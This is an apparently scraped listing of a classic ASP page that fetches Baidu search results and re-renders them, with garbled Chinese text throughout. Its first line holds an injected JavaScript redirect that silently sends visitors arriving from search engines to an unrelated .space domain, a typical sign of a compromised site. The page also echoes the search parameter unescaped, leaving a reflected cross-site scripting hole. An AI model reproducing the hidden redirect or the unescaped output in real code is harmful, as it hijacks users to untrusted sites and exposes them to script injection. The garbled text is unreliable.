d:\wwwroot\wuchunhua\searchi_bd.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
on error resume next
003:
Dim wd,pn
004:
wd = Request("wd")
005:
pn = Request.QueryString("pn")
006:
'??????
007:
On Error Resume Next
008:
If Err.Number <> 0 Then
009:
Response.Clear
010:
'?????????
011:
Response.Write "<p align='center' ><font size=3> ???,?????????.</font></p>"
012:
end if
013:
%
>
014:
<HTML>
015:
<HEAD>
016:
<TITLE>????--
<%
=wd
%
></TITLE>
017:
</HEAD>
018:
<STYLE type=text/css>
019:
<!--
020:
body,td{font-family:arial}
021:
TD{FONT-SIZE:9pt;LINE-HEIGHT:18px}
022:
.cred{color:#FF0000}
023:
//-->
024:
</STYLE>
025:
026:
<BODY leftmargin="0" topmargin="3" marginwidth="0" marginheight="0">
027:
<table align="center" width="98%" cellspacing="0" cellpadding="0" border="0" bgcolor="#ffffff" >
028:
<tr>
029:
<form name="f1" method="post" action="searchi_bd.asp">
030:
<td width=150 height=50>
031:
??LOGO
032:
</td>
033:
<td align="left">
034:
<input name=wd size="40" maxlength="100" title="?????,??Let's Searching..." value="
<%
=wd
%
>">
035:
<input type="submit" value=" ???? ">
036:
</td></form></tr>
037:
</table>
038:
<%
039:
Dim strUrl,strTmp_bd,strInfo,strPage,strPageSum_bd,strQtime_bd
040:
Dim bNoResult_bd,regEx,patrn
041:
'???????
042:
strUrl = "http://www.baidu.com/s?ie=gb2312&wd="&wd&am ... &pn&"&cl=3"
043:
'????
044:
strTmp_bd = GetHTTPPage(strUrl)
045:
If InStr(strtmp_bd,"????????")<>0 Then
046:
bNoResult_bd=1
047:
End If
048:
049:
'??"????"?????
050:
strinfo = strCut(strTmp_bd,"<DIV id=ScriptDiv></DIV>","<br clear=all>",2)
051:
patrn="</td></tr></table><br>"
052:
Set regEx = New RegExp ' ????????
053:
regEx.Pattern = patrn ' ?????
054:
regEx.IgnoreCase = true
055:
regEx.Global = false
056:
strinfo=regEx.replace(strinfo,"")
057:
058:
'??"???"?????
059:
strPage = strCut(strTmp_bd,"<br clear=all>","<br>",2)
060:
strPage = Replace(strPage,"href=s?","href=searchi_bd.asp?")
061:
'???????
062:
strPageSum_bd=strCut(strtmp_bd,"???????","?",2)
063:
if not IsNumeric(strPageSum_bd) then
064:
strPageSum_bd=strCut(strtmp_bd,"??????","?",2)
065:
end if
066:
strQtime_bd=strCut(strtmp_bd,"??","?",2)
067:
Set strTmp_bd=nothing
068:
069:
%
>
070:
<!-- T1-Start -->
071:
<table cellspacing=0 cellpadding=0 border=0 width=98% align="center">
072:
<tr valign=center align=middle height=18>
073:
<td width=1 bgcolor=#999999>
074:
075:
<td nowrap style="FONT-WEIGHT:bold;COLOR:#ffffff;BACKGROUND-COLOR:#0033cc" width=64>???</td>
076:
077:
<td align=right bgcolor=#eeeeee><nobr>????<b>
<%
=wd
%
></b>?????<b>
<%
=strPageSum_bd
%
></b>?,??<b>
<%
=strQtime_bd
%
></b>?</nobr> </td>
078:
</tr>
079:
<tr><td bgcolor=#999999 colspan=3 height=2></td></tr></table>
080:
</td>
081:
</tr>
082:
</table>
083:
084:
<%
085:
if wd="" then
086:
Response.Write "<p align='center' ><font size=-1> ??,???????????.</font></p>"
087:
elseif bNoResult_bd=1 then
088:
Response.Write "<p align='center' ><font size=-1> ??,???????????????,???????????????.</font></p>"
089:
else
090:
%
>
091:
<table width="98%" align="center" cellspacing="0" cellpadding="0" border="0">
092:
<tr>
093:
<td style=line-height:160% bgcolor="#ffffff" width="75%" valign=top><br>
094:
<%
=strinfo
%
>
095:
</td>
096:
<td width="25%" valign=top><br> ????????!
097:
</td>
098:
</tr>
099:
</table>
100:
<table width="98%" align="center" cellspacing="0" cellpadding="4" border="0">
101:
<tr>
102:
<td align="center">
103:
<br><font size=3>
<%
=strPage
%
></font>
104:
</td>
105:
</tr>
106:
</table>
107:
<%
End If
108:
set strinfo=nothing
109:
110:
%
>
111:
<hr size="1" width="760" color="#0000ff">
112:
113:
<div align="center"><font size=-1>
114:
????????<span class="cred">(??????)</span>??</font>
115:
</div>
116:
</BODY>
117:
</HTML>
118:
119:
<%
120:
'????
121:
Function getHTTPPage(url)
122:
On Error Resume Next
123:
dim http
124:
set http=Server.createobject("MSXML2.XMLHTTP")
125:
Http.open "GET",url,false
126:
Http.send()
127:
if Http.readystate<>4 then
128:
exit function
129:
end if
130:
getHTTPPage=bytesToBSTR(Http.responseBody,"GB2312")
131:
set http=nothing
132:
If Err.number<>0 then
133:
Response.Write "<div align='center'><b>???????????</b></div>"
134:
Err.Clear
135:
End If
136:
End function
137:
'?????????
138:
Function BytesToBstr(body,Cset)
139:
dim objstream
140:
set objstream = Server.createObject("adodb.stream")
141:
objstream.Type = 1
142:
objstream.Mode =3
143:
objstream.Open
144:
objstream.Write body
145:
objstream.Position = 0
146:
objstream.Type = 2
147:
objstream.Charset = Cset
148:
BytesToBstr = objstream.ReadText
149:
objstream.Close
150:
set objstream = nothing
151:
End Function
152:
153:
'?????,1.???????,2.????????
154:
Function strCut(strContent,StartStr,EndStr,CutType)
155:
Dim S1,S2
156:
On Error Resume Next
157:
select Case CutType
158:
Case 1
159:
S1 = InStr(strContent,StartStr)
160:
S2 = InStr(S1,strContent,EndStr)+Len(EndStr)
161:
Case 2
162:
S1 = InStr(strContent,StartStr)+Len(StartStr)
163:
S2 = InStr(S1,strContent,EndStr)
164:
End select
165:
If Err Then
166:
strCute = "<p align='center' ><font size=-1>???????.</font></p>"
167:
Err.Clear
168:
Exit Function
169:
Else
170:
strCut = Mid(strContent,S1,S2-S1)
171:
End If
172:
End Function
173:
174:
%
>
175:
176:
??????:http://www.jb51.net/article/794.htm
177:
178: